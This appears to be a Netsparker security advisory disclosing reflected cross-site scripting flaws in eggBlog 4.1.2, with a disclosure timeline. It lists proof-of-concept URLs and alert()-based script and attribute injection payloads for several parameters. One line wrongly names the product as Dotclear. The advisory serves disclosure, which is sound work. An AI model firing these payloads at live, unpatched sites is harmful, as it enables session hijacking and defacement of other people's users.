Information
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Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in eggBlog
Affected Software : eggBlog
Affected Versions: 4.1.2
Vendor Homepage :  https://sourceforge.net/projects/eggblog/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-16-019

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg='"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>
Parameter Name wysiwyg
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=text
Parameter Name dir
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php/'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>

URL /eggblog/news.php?id=1
Parameter Name title
Parameter Type POST
Attack Pattern <scRipt>alert(0x0027FE)</scRipt>

URL /eggblog/news.php?id=1
Parameter Name text
Parameter Type POST
Attack Pattern <scRipt>alert(0x0035F9)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
05 Oct 2016 - Advisory released

Solution
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-

Credits & Authors
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This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.